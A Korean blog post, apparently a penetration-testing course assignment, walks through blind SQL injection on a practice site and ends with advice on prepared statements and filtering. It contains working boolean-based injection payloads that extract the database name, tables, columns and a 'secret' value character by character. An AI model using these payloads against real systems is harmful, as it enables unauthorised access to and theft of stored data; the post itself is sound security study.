본문 바로가기

보안지식/SQL

[노말틱 모의 해킹 취업반 5주차 해킹과제] Blind SQLi

안녕하세요! 오늘은 SQL 인젝션 공격 중 하나인 Blind SQLi을 공부해 보겠습니다.

 

일단 이 Blind SQLi는 어디서 공격을 할까요?

 

-공격 위치?

DB결과가 화면에 안 나오는 곳.

Error based 나오는 곳

ALL , 사실 SQLi 공격이 가능하면 전부 Blind SQLi가 통합니다.

 

그럼 어떡해 공격을 할까요?

간단히 말해서 참과 거짓의 조건으로 데이터를 추출하는 기법입니다!

 

그러니 참과 거짓 조건에 따라 응답이 다른 곳이면 다 통하겠죠.

솔직히 99%가 참과 거짓이 응답이 다르지 않을까요.

 

이제 본격적으로 스텝을 밟으면서 차차 하는 방법을 알려드리겠습니다!

처음에는 막일이 최고예요. 그다음에는 파이썬으로 짜서 자동화 툴을 만들어보죠. 오늘 말고요

 

간단하게 필요한 문법 지식을 설명해 드릴게요

 

(1) limit

다들 아시죠? 얼마나 가져올지 정하는 겁니다.

 

(2) substring

글자를 자르는 겁니다! 저희는 이걸 이용해서 한 글자씩 추출할 겁니다

substring((SQL),1,1) 1 글자씩 1번째 추출

substring('test',1,1) -> t을 추출

 

substring('test',1,2) -> te 추출 왜냐 2 글자씩 1번째 추출이거든요

저희는 한 글자씩 비교해야 되니깐

 

substring((SQL),1,1)

substring((SQL),2,1)

substring((SQL),3,1)

이렇게 계속할 거 에요!

 

 

 

(3)ASCII 코드를 인터넷에 표를 구하시면 나옵니다

왜냐 컴퓨터는 일반적으로 아스키코드로 분별하거든요

 

(4) 2진 탐색 알고리즘

알고리즘 하면 어려울 수 있는데 어렵게 생각할 필요가 없습니다!

1~100 사이의 수를 찾는다 가정하면

먼저 50보다 커? 물어봅니다.

그다음에 75보다 커?:

다음엔 90보다 커? 아냐?

 

이렇게 중간값을 넣어서 큰지 작은지 물어보는 게 2진 탐색 기법입니다.

 

진짜로 시작하죠!

.

.

.

.

.

.

.

.

Step 1. SQLi 확인

 

뭐.. 당연하죠. SQL 인젝션 공격이 통하는지 안 통하는지 해봐야죠

그 전에 대충 어느 SQL을 적어야 되는지 추측을 해야합니다!

 

되네요!

 

 

왜 굳이 AND AND을 썼는지 궁금하실 수 있어요

 

간단하게 말하자면 저기 AND와 AND 사이에 저희가 공격할 select문이 들어갑니다.

그러니깐 한눈에 보기 편하기 위해 하는 거예요!

 

나중 가면 엄청 길어지거든요

 

 

Step2. Blind SQLi

 

이제 한 번 Blind SQL 공격을 해봅시다

 

1=12에요 왜냐하면

 

 

일부로 틀리게 넣었는데? 거짓이 나오네요!

 

이로써 참과 거짓의 응답이 다르다는 것을 알 수 있습니다.

 

 

Step 3. select ~ 을 쓸 수 있는가?

 

가아끔 select을 못 쓰게 필터링을 하는 코딩이 있어요.

한 번 확인해봅시다.

 

오호라

 

 

select '1'은 정상대로 면  결괏값 '1'이 나오겠죠. 그래서 '1'과 맞으니 참이 되어서

 

존재하는 아이디입니다. 나오네요! 이렇게 select을 쓸 수 있다는 것을 알 수 있습니다.

 

 

Step 4. 공격 포맷 만들기

 

제가 앞서 말해 드렸다시피 AND ~ AND 이 사이에 SQL 공격문을 넣을 거예요!

 

일단 아스키코 드을 넣겠습니다. 왜냐구요? 컴퓨터는 아스키코드을 사용하기 때문이에요

 

아스키코드 표는 구글링 하시면 나와요!

 

차차 공격 포맷을 만들겠습니다.

 

우선 ascii('t') > 0 넣겠습니다.

 

 

t의 아스키코드는 당연히 0보다 크죠?

 

 

여기서 t을 대신에 substring을 쓰는 겁니다

 

substring('test',1,1) 이것의 결괏값은 t죠? 이걸 't' 대신에 넣겠습니다.

 

 

당연히 맞겠죠

 

 

이제! 요 substring 안에 test 대신에 SQL 문을 넣겠습니다

 

select 'test'는 결국 'test'잖아요!

 

 

당연히 되죠!

 

 

이제 select 문 대신에 SQL으로 바꾸겠습니다.

 

normaltic' AND (ascii(substring((SQL),1,1)) > 0) AND '1'='1

 

이게 바로 저희가 이 사이트에 공격할 포맷입니다!

 

이렇게 차차 해야지 괄호가 안 헷갈리고 어디서 잘못됐는지 알 수 있어요!

 

 

Step5. DB 이름 추출

이제 본격적인 막일이 시작됩니다.

 

DB이름 추출의 SQL문은 다들 아시죠?

만약 모르신다면 

 

https://mynameisarke.tistory.com/25

 

[노말틱 모의 해킹 취업반 4주차 해킹과제] Error Based SQLi, SQL Injection

안녕하세요! 이번에도 SQL Injection을 공부할 건데요 오늘은 SQL 질의문이 화면에 보이는 곳을 공격하는 연습할 겁니다! 예를 들자면 게시판도 있고 회원 정보(마이페이지), 주소검색 등등 있죠 저

mynameisarke.tistory.com

여기에 있어요

 

select database() 입니다.

 

이제 저기 SQL 대신에 넣겠습니다

 

normaltic' AND (ascii(substring((select database()),1,1)) > 0) AND '1'='1

 

 

아!

 

이렇게 알 수 있는 것은 database의 맨 앞글자는 0보다 큰 게 맞다 즉 값이 있다는 이야기입니다!

이제 100으로 해보겠습니다

 

normaltic' AND (ascii(substring((select database()),1,1)) > 100) AND '1'='1

 

존재하네요!

 

그럼 아스키코드가 100보단 크다는 것을 알 수 있습니다!

 

다음에 130보다 크게 했더니?

 

아하

 

130보단 작다고 하네요

 

이렇게 2진 탐색을 쭉쭉하시다 보면...

 

normaltic' AND (ascii(substring((select database()),1,1)) > 115) AND '1'='1

 

 

존재가 안하네요

 

 

normaltic' AND (ascii(substring((select database()),1,1)) > 114) AND '1'='1

 

 

114보단 크고 115보단 작다?

 

그럼 115가 맞겠죠? 확인해 보겠습니다.

 

normaltic' AND (ascii(substring((select database()),1,1)) = 115) AND '1'='1

 

 

 

정답이네요!

 

그럼 데이터베이스의 첫 글자의  아스키코드가 115라는 것을 알 수 있습니다.

 

그다음으로 2번째 글자를 추출해 보죠

 

normaltic' AND (ascii(substring((select database()),2,1)) > 50) AND '1'='1

 

 

있네요!

 

normaltic' AND (ascii(substring((select database()),2,1)) > 100) AND '1'='1

 

 

있네요

normaltic' AND (ascii(substring((select database()),2,1)) > 110) AND '1'='1

 

 

100보단 크고 110보단 작네요

 

이제 105 해보겠습니다.

 

아하..

 

101 넣었습니다.

 

 

101을 했는데? 안됬죠? 그럼 저희는 100보다 클 땐 맞고 101보단 그땔 안 맞으니 101이라고 추측할 수 있어요

 

normaltic' AND (ascii(substring((select database()),2,1)) = 101) AND '1'='1

 

 

맞네요!

 

이렇게 계속해서 데이터베이스의 이름을 추출하는 겁니다! 언제 까지면은 아스키코드가 0이 나올 때까지입니다!

 

아스키코드 0이라는 말은 NULL값이라는 뜻해요.

 

 

Step 6. Table 이름 추출

 

select table_name from information_schema.tables where table_schema='DB이름' limit 0,1

이 공식 아실 거예요! 이걸 저기 저희 공격 포맷에 SQL에 넣죠

 

normaltic' AND (ascii(substring((select table_name from information_schema.tables where table_schema='segfault_sql' limit 0,1),1,1)) > 0) AND '1'='1

 

 

 

또 시작입니다.

 

여기서 주의할 점이 limit의 값을 바꾸시면 안 됩니다! 왜냐하면 limit은 테이블의 수를 제한하는 거지

글자를 제한하는 게 아니에요!

.

.

.

어쨌든.. 첫 테이블의 이름을 막일하다 보니 game이 나오네요!

 

이제 두 번째 테이블을 찾아보겠습니다.

 

 

normaltic' AND (ascii(substring((select table_name from information_schema.tables where table_schema='segfault_sql' limit 1,1),1,1)) > 50) AND '1'='1

 

또또 시작입니다

 

또 막일을 해봤더니 member가 나왔습니다

 

이제 3번째 것을 막일해보겠습니다

 

normaltic' AND (ascii(substring((select table_name from information_schema.tables where table_schema='segfault_sql' limit 2,2),1,1)) > 50) AND '1'='1

 

 

후..지치네요

 

normaltic' AND (ascii(substring((select table_name from information_schema.tables where table_schema='segfault_sql' limit 2,2),1,1)) > 100) AND '1'='1

 

자동화 할 수 있는 코드를 짤 수 있지만 처음이니 노가다로 해보는 거에요

 

 

어쨌든 쭉쭉하다 보니

 

3번째 테이블 명이 secret이라는 것을 알아냈습니다!

 

 

좋아요! secret이니깐 뭔가 중요해 보이잖아요? 이걸 털어보죠!

 

 

Step 7. Column 이름 추출

 

이제 Column 이름만 추출하면 됩니다.

 

normaltic' AND (ascii(substring((SQL),1,1)) > 0) AND '1'='1 

 

select column_name from information_schema.columns where table_name='secret' limit 0,1

 

normaltic' AND (ascii(substring((select column_name from information_schema.columns where table_name='secret' limit 0,1),1,1)) > 0) AND '1'='1 

 

존재하네요!

 

쭉쭉하다 보면.. 첫 글자는 105라는 것을 알 수 있어요

 

 

normaltic' AND (ascii(substring((select column_name from information_schema.columns where table_name='secret' limit 0,1),2,1)) > 0) AND '1'='1 

 

다음 글자 하시면 d 나오고 그다음 글자 x 나옵니다. idx는 인덱스니 넘어가죠

 

normaltic' AND (ascii(substring((select column_name from information_schema.columns where table_name='secret' limit 1,1),1,1)) > 0) AND '1'='1 

 

다음 칼럼의 이름 추출하겠습니다

 

 

115 일때 됬습니다.

 

이렇게 칼럼이름을 계속하다 보니 secret이 나오네요! 이제 마지막입니다.

 

 

Step 8. Data추출

 

select secret from secret limit 0,1

 

normaltic' AND (ascii(substring((SQL),1,1)) > 0) AND '1'='1 

 

normaltic' AND (ascii(substring((select secret from secret limit 0,1),1,1)) > 0) AND '1'='1 

 

하..

 

이걸 반복하시면 값이 나오실 거예요

 

저는 풀었긴 했는데 꽤나 오래 걸렸어요 가뜩이나 손 느린데

 

1~2시간 걸린 거 같네요!

 

오늘은 이렇게 블라인드 SQL 인젝션 공격을 공부해봤습니다.

.

.

.

.

.

.

 

SQLi을 이태까지 총 3가지를 공부했어요 에러베이스, 블라인드, Union SQLi 이렇게요

 

그러면 이제 대응 방법도 알아야 되겠죠?

 

간단해요 코딩할 때 PreparedStatement을 이용하시면 돼요!

 

이 함수는 먼저 SQL을 실행해두고 뒤에 오는 어느 문자든 특수문자든 문자열로 인식을 하게 합니다.

 

쓰는 방법은 mysqli_prepare($conn, "SELECT ~~~ FROM ~~~ WHERE username =? ")

 

이렇게?로 구멍을 내고? 에 변수를 넣는 겁니다.

 

 

미리 컴파일을 하는 거죠.

이것만 사용하면 모든 SQLi의 공격이 사라지게 됩니다.

 

 

그럼 왜 SQL 인젝션 공부를 왜 해요? 저 함수만 쓰기만 하면 되는데!

 

-그렇죠 맞아요! 하지만 코딩 개발자 분들 중에 옛날 방식을 그대로 적용하신 분들이랑

옛날에 쓰인 라이브러리를 그대로 가져와서 쓰는 경우가 있습니다.

바로 이때 SQL 인젝션이 통하는 순간이에요. 요즘도 아직 많이 공격당하고 있다고 합니다!

 

참고로 제가 즐겨 사용하는 escape 함수는 BlackList 방식입니다!

 

-BlackList란?

 

데이터에 허용되지 않는 문자 또는 패턴이 있는 경우, 해당 데이터를 거부하는 방식입니다!

진짜로 필터링을 하는 거죠. 단점이 이러한 데이터들을 제한을 해서 작성할 때 필요한 문자들이 한계가 있습니다.

예를 들어 >_< 이런 이모티콘을 못 쓰는 거죠 왜냐 > 는 특수 문자니깐요.

 

-whitelist란?

 

데이터가 허용되는 문자 또는 패턴으로 구성되는 경우 그런 데이터는 허용하는 겁니다!

사용 가능한 데이터를 명시적으로 지정하는 방법이에요!

>_<을 사용 가능하게 적어 두면 이게 whitelist입니다.

 

 

그래서.. 각각 좋은 방법이긴 하나 결국 Prepared Statement 함수의 하위 호환입니다.

그러니 Prepared Statement을 사용합시다! 저도 조만간 싹다 sql문을 고치겠습니다

.

.

.

.

.

.

좋아요.. 오늘은 여기까지 포스팅을 하겠습니다! 다음에는 간단하게 문제 사이트에 있는 SQL 인젝션 문제가 있어요!

 

그걸 풀이를 작성하고 한 번 워드 파일에 보고서처럼 올려보겠습니다. 감사합니다!